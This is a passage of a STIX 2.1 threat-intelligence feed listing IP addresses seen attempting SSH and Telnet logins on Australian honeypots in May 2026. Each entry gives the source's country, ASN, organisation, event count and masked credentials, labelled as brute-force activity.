      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 57016. Organisation(s): Inform-Service TV Ltd..",
      "id": "indicator--fb16659b-440c-4724-a13a-55af695437b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.148.162.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8a74f3fd-5f27-4a71-be43-d00e63038aa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 15808. Organisation(s): ACCESSKENYA-KE ACCESSKENYA GROUP LTD is an ISP serving.",
      "id": "indicator--a4a9b6e7-d432-4899-b412-31c7aeac87ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.215.23.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9de6679a-b550-4050-84ee-550928b91958",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e2b0662f-a8f1-44b2-a04f-17ecc9bc8996",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--21950104-d0e0-49b5-be6e-65cd710f3f2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--b115d108-7561-456d-9251-8e4615ed1152",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.158.122.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): a***n, d*******r, u****u. Passwords observed (masked): ***, p******d, q********4.",
      "id": "indicator--6c602c42-3d68-464f-99f1-98ca44526744",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.115.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated.",
      "id": "indicator--f3c03f97-b123-4eee-ae76-2d736e06fd84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.81.62.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 140726. Organisation(s): UNICOM AnHui province network. Usernames observed (masked): u**r, a***n, g****1, 3**********4, r**t. Passwords observed (masked): **, 1**4, 3***********4, 3**********4, P**********x.",
      "id": "indicator--c6e4bce6-51bb-4a63-8a78-f4a3cd6644b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.205.122.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--ff503713-5669-4a28-851f-ec59de0401a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.85.133.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 430. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 36937. Organisation(s): Neotel.",
      "id": "indicator--f60362e5-abc0-44eb-84fb-c16c04772cfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.168.10.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--ae25e7c0-9e3d-46b4-9626-f83c0c37d281",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.23.15.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--9e32c9eb-e98e-4f04-a9d2-8b228d7ed1f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.138.9.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 5432. Organisation(s): Proximus NV.",
      "id": "indicator--2c5d02cc-d3cd-4150-a3bd-50431172e4a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.134.54.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--784581a5-2ce1-494a-abee-944b7211d2c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.54.71.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk.",
      "id": "indicator--ab2d4186-795b-42f3-ac28-a2b7c3ed1cf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.31.1.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:15:10.000Z",
      "valid_until": "2026-06-07T18:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): g***t. Passwords observed (masked): q********p.",
      "id": "indicator--bdcf7185-cdc8-4df8-89a9-1510b6c283c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.122.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NI. ASN(s): 263751. Organisation(s): CASAVISION, S.A..",
      "id": "indicator--9e9700a3-94f1-4580-8821-be36b4305821",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.97.162.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MK. ASN(s): 43612. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--b1b24454-bba8-4822-8511-fa98f7c40b28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.255.74.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35819. Organisation(s): Etihad Etisalat, a joint stock company.",
      "id": "indicator--56de0760-ad2c-4e56-bda1-5fad44b5a465",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.18.31.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--ce4d02a4-a2ba-4392-88b4-6378935ed19b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265594. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--18fde49c-a0d9-4e15-a69d-67f6467c50c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.218.49.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL.",
      "id": "indicator--59db97f4-ba71-48b1-bdc6-2152cc1b1b15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--81008f59-5b0d-4944-b5fe-1477eaf65ab3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.184.235.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 12978. Organisation(s): Andromeda Tv Digital Platform Isletmeciligi A.s..",
      "id": "indicator--84eccc19-bd83-4b1f-bbf0-5f05078f0b55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.200.22.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--f5e4d177-7f6a-4a95-8aee-61712be3b21a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.49.224.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9658. Organisation(s): Eastern Telecoms Phils., Inc..",
      "id": "indicator--573f9c33-3221-41e1-b01a-a2d8f72c1f3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.28.152.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:15:10.000Z",
      "valid_until": "2026-06-07T19:15:08.000Z"
    },
    {
      "created": "2026-05-06T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GA. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--22b937a9-d557-4ae4-9887-50b4ec371747",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.142.99.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T20:15:10.000Z",
      "valid_until": "2026-06-07T20:15:08.000Z"
    },
    {
      "created": "2026-05-06T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 11845. Organisation(s): Vox-Telecom.",
      "id": "indicator--de6dac7e-8c40-414a-8073-d2046552bd8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.219.27.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T20:15:10.000Z",
      "valid_until": "2026-06-07T20:15:08.000Z"
    },
    {
      "created": "2026-05-06T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--eee64402-365c-40be-b7c3-e34a6e1aaf9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.5.166.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T20:15:10.000Z",
      "valid_until": "2026-06-07T20:15:08.000Z"
    },
    {
      "created": "2026-05-06T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): Z*******..",
      "id": "indicator--2ba974bc-4f8b-4381-af0c-a4a2d62a1985",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.208.48.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T20:15:10.000Z",
      "valid_until": "2026-06-07T20:15:08.000Z"
    },
    {
      "created": "2026-05-06T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22689. Organisation(s): SERCOMTEL SA TELECOMUNICACOES.",
      "id": "indicator--97d19a13-360f-4a41-b25d-88220f3e7919",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.121.129.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T20:15:10.000Z",
      "valid_until": "2026-06-07T20:15:08.000Z"
    },
    {
      "created": "2026-05-06T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): f*****r, g***t, u****u, 3**********4, f******n. Passwords observed (masked): *, 1****1, **, 1******8, 3***********4.",
      "id": "indicator--f83431a1-0437-41cd-b9fd-50b5d62a11d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.240.75.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T20:15:10.000Z",
      "valid_until": "2026-06-07T20:15:08.000Z"
    },
    {
      "created": "2026-05-06T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 270026. Organisation(s): RED SERVITEL, CA.",
      "id": "indicator--f0811706-7455-48b8-8c0c-b30dc579d9cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.172.162.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T20:15:10.000Z",
      "valid_until": "2026-06-07T20:15:08.000Z"
    },
    {
      "created": "2026-05-06T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--d81ca1f9-9cca-4a35-b915-8a25d1eea27f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.243.8.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T20:15:10.000Z",
      "valid_until": "2026-06-07T20:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
